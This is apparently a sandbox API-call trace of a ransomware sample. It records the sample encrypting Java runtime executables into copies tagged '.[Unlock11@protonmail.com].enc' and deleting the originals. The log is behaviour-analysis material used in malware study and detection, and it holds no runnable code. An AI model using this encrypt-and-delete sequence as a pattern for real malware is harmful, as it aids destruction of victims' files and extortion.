0x9b0 [0125.113] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a6e8 | out: hHeap=0x2ad0000) returned 1 [0125.113] GetCurrentThreadId () returned 0x9b0 [0125.113] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1 [0125.113] GetCurrentThreadId () returned 0x9b0 [0125.114] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b37c | out: pbBuffer=0x366b37c) returned 1 [0125.114] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0125.114] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5050 [0125.114] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0125.114] GetCurrentThreadId () returned 0x9b0 [0125.114] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5e88 [0125.114] GetCurrentThreadId () returned 0x9b0 [0125.114] GetCurrentThreadId () returned 0x9b0 [0125.114] GetCurrentThreadId () returned 0x9b0 [0125.114] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0125.115] GetFileType (hFile=0x39c) returned 0x1 [0125.115] GetCurrentThreadId () returned 0x9b0 [0125.115] GetFileType (hFile=0x39c) returned 0x1 [0125.115] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.115] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.115] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.115] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.115] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.115] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.115] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.116] GetLastError () returned 0x0 [0125.116] GetCurrentThreadId () returned 0x9b0 [0125.116] GetLastError () returned 0x0 [0125.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653a8 | out: hHeap=0x2ad0000) returned 1 [0125.116] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0125.116] GetLastError () returned 0x0 [0125.116] GetLastError () returned 0x0 [0125.116] GetLastError () returned 0x0 [0125.116] GetLastError () returned 0x0 [0125.117] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0125.117] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32653e8 [0125.117] GetLastError () returned 0x0 [0125.117] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0125.117] GetFileType (hFile=0x3ac) returned 0x1 [0125.117] GetLastError () returned 0x0 [0125.118] GetCurrentThreadId () returned 0x9b0 [0125.118] GetLastError () returned 0x0 [0125.118] GetFileType (hFile=0x3ac) returned 0x1 [0125.118] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.118] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.118] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.118] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.118] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.118] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.118] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.118] GetLastError () returned 0x0 [0125.118] GetCurrentThreadId () returned 0x9b0 [0125.119] GetLastError () returned 0x0 [0125.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32653e8 | out: hHeap=0x2ad0000) returned 1 [0125.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a1fe8 | out: hHeap=0x2ad0000) returned 1 [0125.119] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0125.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0125.119] GetLastError () returned 0x0 [0125.119] GetLastError () returned 0x0 [0125.119] GetCurrentThreadId () returned 0x9b0 [0125.119] GetLastError () returned 0x0 [0125.119] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0125.119] GetLastError () returned 0x0 [0125.120] GetLastError () returned 0x0 [0125.120] GetCurrentThreadId () returned 0x9b0 [0125.120] GetLastError () returned 0x0 [0125.120] GetLastError () returned 0x0 [0125.121] GetLastError () returned 0x0 [0125.121] GetCurrentThreadId () returned 0x9b0 [0125.121] GetLastError () returned 0x0 [0125.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265498 | out: hHeap=0x2ad0000) returned 1 [0125.122] GetCurrentThreadId () returned 0x9b0 [0125.122] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x4058) returned 0x35c0a00 [0125.122] GetLastError () returned 0x0 [0125.122] GetLastError () returned 0x0 [0125.122] GetLastError () returned 0x0 [0125.122] GetLastError () returned 0x0 [0125.122] GetCurrentThreadId () returned 0x9b0 [0125.122] GetLastError () returned 0x0 [0125.122] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c0a00 | out: hHeap=0x2ad0000) returned 1 [0125.123] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0125.123] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0125.123] GetLastError () returned 0x0 [0125.124] GetLastError () returned 0x0 [0125.124] GetCurrentThreadId () returned 0x9b0 [0125.124] GetLastError () returned 0x0 [0125.124] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fc5a8 | out: hHeap=0x2ad0000) returned 1 [0125.124] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fc5a8 [0125.124] GetLastError () returned 0x0 [0125.124] GetLastError () returned 0x0 [0125.125] GetCurrentThreadId () returned 0x9b0 [0125.125] GetLastError () returned 0x0 [0125.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fc5a8 | out: hHeap=0x2ad0000) returned 1 [0125.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.125] GetLastError () returned 0x0 [0125.125] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0125.125] CloseHandle (hObject=0x3ac) returned 1 [0125.125] GetLastError () returned 0x0 [0125.126] GetCurrentThreadId () returned 0x9b0 [0125.126] GetLastError () returned 0x0 [0125.126] GetLastError () returned 0x0 [0125.126] CloseHandle (hObject=0x39c) returned 1 [0125.126] GetLastError () returned 0x0 [0125.126] GetCurrentThreadId () returned 0x9b0 [0125.126] GetLastError () returned 0x0 [0125.126] GetLastError () returned 0x0 [0125.126] GetLastError () returned 0x0 [0125.126] GetLastError () returned 0x0 [0125.126] GetLastError () returned 0x0 [0125.127] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\orbd.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\orbd.exe")) returned 1 [0125.128] GetLastError () returned 0x0 [0125.128] GetCurrentThreadId () returned 0x9b0 [0125.128] GetLastError () returned 0x0 [0125.128] GetCurrentThreadId () returned 0x9b0 [0125.128] GetLastError () returned 0x0 [0125.128] GetLastError () returned 0x0 [0125.128] GetLastError () returned 0x0 [0125.128] GetLastError () returned 0x0 [0125.128] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe", lpFilePart=0x9bada4*="pack200.exe") returned 0x32 [0125.128] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d08 [0125.129] GetCurrentThreadId () returned 0x9b0 [0125.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d08 | out: hHeap=0x2ad0000) returned 1 [0125.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0125.129] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f00 | out: hHeap=0x2ad0000) returned 1 [0125.129] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ff0 [0125.129] GetLastError () returned 0x0 [0125.129] GetLastError () returned 0x0 [0125.129] GetLastError () returned 0x0 [0125.129] GetLastError () returned 0x0 [0125.129] GetCurrentThreadId () returned 0x9b0 [0125.129] GetLastError () returned 0x0 [0125.130] GetCurrentThreadId () returned 0x9b0 [0125.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5ff0 [0125.130] GetCurrentThreadId () returned 0x9b0 [0125.130] GetLastError () returned 0x0 [0125.130] GetCurrentThreadId () returned 0x9b0 [0125.130] GetLastError () returned 0x0 [0125.130] GetCurrentThreadId () returned 0x9b0 [0125.130] GetLastError () returned 0x0 [0125.130] GetCurrentThreadId () returned 0x9b0 [0125.130] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a768 [0125.131] GetCurrentThreadId () returned 0x9b0 [0125.131] GetLastError () returned 0x0 [0125.131] GetCurrentThreadId () returned 0x9b0 [0125.131] GetLastError () returned 0x0 [0125.131] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1 [0125.131] GetLastError () returned 0x0 [0125.131] GetCurrentThreadId () returned 0x9b0 [0125.131] GetLastError () returned 0x0 [0125.131] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b32c | out: pbBuffer=0x366b32c) returned 1 [0125.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0125.131] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3ae0 [0125.132] GetCurrentThreadId () returned 0x9b0 [0125.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5fa0 [0125.132] GetCurrentThreadId () returned 0x9b0 [0125.132] GetLastError () returned 0x0 [0125.132] GetCurrentThreadId () returned 0x9b0 [0125.132] GetCurrentThreadId () returned 0x9b0 [0125.132] GetLastError () returned 0x0 [0125.132] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0125.133] GetFileType (hFile=0x39c) returned 0x1 [0125.133] GetCurrentThreadId () returned 0x9b0 [0125.133] GetLastError () returned 0x0 [0125.133] GetFileType (hFile=0x39c) returned 0x1 [0125.133] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.133] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.133] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.133] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.133] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.133] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.133] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.134] GetLastError () returned 0x0 [0125.134] GetCurrentThreadId () returned 0x9b0 [0125.134] GetLastError () returned 0x0 [0125.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652c8 | out: hHeap=0x2ad0000) returned 1 [0125.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a7e8 | out: hHeap=0x2ad0000) returned 1 [0125.134] GetLastError () returned 0x0 [0125.134] GetLastError () returned 0x0 [0125.134] GetLastError () returned 0x0 [0125.134] GetLastError () returned 0x0 [0125.134] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0125.134] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x32652a8 [0125.135] GetLastError () returned 0x0 [0125.135] CreateFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0125.135] GetFileType (hFile=0x3ac) returned 0x1 [0125.135] GetLastError () returned 0x0 [0125.135] GetCurrentThreadId () returned 0x9b0 [0125.135] GetLastError () returned 0x0 [0125.135] GetFileType (hFile=0x3ac) returned 0x1 [0125.135] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0125.136] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.136] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.136] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.136] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.136] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0125.136] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0125.136] GetLastError () returned 0x0 [0125.136] GetCurrentThreadId () returned 0x9b0 [0125.136] GetLastError () returned 0x0 [0125.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32652a8 | out: hHeap=0x2ad0000) returned 1 [0125.136] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aa2bb8 | out: hHeap=0x2ad0000) returned 1 [0125.136] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0125.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0125.137] GetLastError () returned 0x0 [0125.137] GetLastError () returned 0x0 [0125.137] GetCurrentThreadId () returned 0x9b0 [0125.137] GetLastError () returned 0x0 [0125.137] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0125.137] GetLastError () returned 0x0 [0125.137] GetLastError () returned 0x0 [0125.137] GetCurrentThreadId () returned 0x9b0 [0125.137] GetLastError () returned 0x0 [0125.137] GetLastError () returned 0x0 [0125.139] GetLastError () returned 0x0 [0125.139] GetCurrentThreadId () returned 0x9b0 [0125.139] GetLastError () returned 0x0 [0125.139] GetCurrentThreadId () returned 0x9b0 [0125.139] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x3265418 [0125.139] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3265498 | out: hHeap=0x2ad0000) returned 1 [0125.139] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x4058) returned 0x35c0a00 [0125.139] GetLastError () returned 0x0 [0125.140] GetLastError () returned 0x0 [0125.140] GetLastError () returned 0x0 [0125.140] GetLastError () returned 0x0 [0125.140] GetCurrentThreadId () returned 0x9b0 [0125.140] GetLastError () returned 0x0 [0125.140] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c0a00 | out: hHeap=0x2ad0000) returned 1 [0125.140] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0125.140] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0125.140] GetLastError () returned 0x0 [0125.141] GetLastError () returned 0x0 [0125.141] GetCurrentThreadId () returned 0x9b0 [0125.142] GetLastError () returned 0x0 [0125.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fc5a8 | out: hHeap=0x2ad0000) returned 1 [0125.142] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36fc5a8 [0125.142] GetLastError () returned 0x0 [0125.142] GetLastError () returned 0x0 [0125.142] GetCurrentThreadId () returned 0x9b0 [0125.142] GetLastError () returned 0x0 [0125.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36fc5a8 | out: hHeap=0x2ad0000) returned 1 [0125.142] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0125.142] GetLastError () returned 0x0 [0125.143] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0125.143] CloseHandle (hObject=0x3ac) returned 1 [0125.143] GetLastError () returned 0x0 [0125.143] GetCurrentThreadId () returned 0x9b0 [0125.143] GetLastError () returned 0x0 [0125.143] GetLastError () returned 0x0 [0125.143] CloseHandle (hObject=0x39c) returned 1 [0125.143] GetLastError () returned 0x0 [0125.144] GetCurrentThreadId () returned 0x9b0 [0125.144] GetLastError () returned 0x0 [0125.144] GetCurrentThreadId () returned 0x9b0 [0125.144] GetLastError () returned 0x0 [0125.144] GetLastError () returned 0x0 [0125.144] GetLastError () returned 0x0 [0125.144] GetLastError () returned 0x0 [0125.144] DeleteFileA (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\pack200.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\pack200.exe")) returned 1 [0125.145] GetLastError () returned 0x0 [0125.145] GetCurrentThreadId () returned 0x9b0 [0125.145] GetLastError () returned 0x0 [0125.145] GetLastError () returned 0x0 [0125.146] GetLastError () returned 0x0 [0125.146] GetLastError () returned 0x0 [0125.146] GetLastError () returned 0x0 [0125.146] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe", lpFilePart=0x9bada4*="policytool.exe") returned 0x35 [0125.146] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0125.146] GetCurrentThreadId () returned 0x9b0 [0125.146] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0125.146] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0125.146] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263050 | out: hHeap=0x2ad0000) returned 1 [0125.146] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c5e60 [0125.147] GetLastError () returned 0x0 [0125.147] GetLastError () returned 0x0 [0125.147] GetLastError () returned 0x0 [0125.147] GetLastError () returned 0x0 [0125.147] GetCurrentThreadId () returned 0x9b0 [0125.147] GetLastError () returned 0x0 [0125.147] GetCurrentThreadId () returned 0x9b0 [0125.147] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5e60 | out: hHeap=0x2ad0000) returned 1 [0125.147] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c60e0 [0125.147] GetLastError () returned 0x0 [0125.147] GetLastError () returned 0x0 [0125.148] GetLastError () returned 0x0 [0125.148] GetLastError () returned 0x0 [0125.148] GetCurrentThreadId () returned 0x9b0 [0125.148] GetLastError () returned 0x0 [0125.148] GetLastError () returned 0x0 [0125.148] GetLastError () returned 0x0 [0125.148] GetLastError () returned 0x0 [0125.148] GetLastError () returned 0x0 [0125.149] GetCurrentThreadId () returned 0x9b0 [0125.149] GetLastError () returned 0x0 [0125.149] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c60e0 | out: hHeap=0x2ad0000) returned 1 [0125.149] GetLastError () returned 0x0 [0125.149] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d63c0 | out: hHeap=0x2ad0000) returned 1 [0125.149] GetLastError () returned 0x0 [0125.149] GetLastError () returned 0x0 [0125.149] GetLastError () returned 0x0 [0125.149] GetCurrentThreadId () returned 0x9b0 [0125.149] GetLastError () returned 0x0 [0125.149] GetCurrentThreadId () returned 0x9b0 [0125.150] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a768 [0125.150] GetLastError () returned 0x0 [0125.150] GetLastError () returned 0x0 [0125.150] GetLastError () returned 0x0 [0125.150] GetLastError () returned 0x0 [0125.150] GetCurrentThreadId () returned 0x9b0 [0125.150] GetLastError () returned 0x0 [0125.150] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a768 | out: hHeap=0x2ad0000) returned 1 [0125.150] GetLastError () returned 0x0 [0125.150] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0125.151] GetLastError () returned 0x0 [0125.151] GetLastError () returned 0x0 [0125.151] GetLastError () returned 0x0 [0125.151] GetCurrentThreadId () returned 0x9b0 [0125.151] GetLastError () returned 0x0 [0125.151] GetLastError () returned 0x0 [0125.151] GetLastError () returned 0x0 [0125.151] GetLastError () returned 0x0 [0125.151] GetLastError () returned 0x0 [0125.151] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0125.152] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\policytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\policytool.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040)) returned 1 [0125.152] GetLastError () returned 0x0 [0125.152] GetCurrentThreadId () returned 0x9b0 [0125.152] GetLastError () returned 0x0 [0125.152] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a4e8 | out: hHeap=0x2ad0000) returned 1 [0125.152] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b2b4 | out: pbBuffer=0x366b2b4) returned 1 [0125.152] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x3622750 [0125.152] GetCurrentThreadId () returned 0x9b0 [0125.152] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a5e18 [0125.152] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3622750 | out: hHeap=0x2ad0000) returned 1 [0125.152] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c60e0 [0125.153] GetLastError () returned 0x0 [0125.153] GetLastError () returned 0x0 [0125.153] GetLastError () returned 0x0 [0125.153] GetLastError () returned 0x0 [0125.153] GetCurrentThreadId () returned 0x9b0 [0125.153] GetLastError () returned 0x0 [0125.153] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c60e0 | out: hHeap=0x2ad0000) returned 1 [0125.153] GetCurrentThreadId () returned 0x9b0 [0125.153] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x35c60e0 [0125.154] GetLastError () returned 0x0 [0125.154] GetLastError () returned 0x0 [0125.154] GetLastError () returned 0x0 [0125.154] GetLastError () returned 0x0 [0125.154] GetCurrentThreadId () returned 0x9b0 [0125.154] GetLastError () returned 0x0 [0125.154] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c60e0 | out: hHeap=0x2ad0000) returned 1 [0125.154] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x3265498 [0125.154] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a5e18 | out: hHeap=0x2ad0000) returned 1 [0125.154] GetCurrentThreadId () returned 0x9b0 [0125.154] GetLastError () returned 0x0 [0125.154] GetLastError () returned 0x0 [0125.155] GetLastError () returned 0x0 [0125.155] GetLastError () returned 0x0 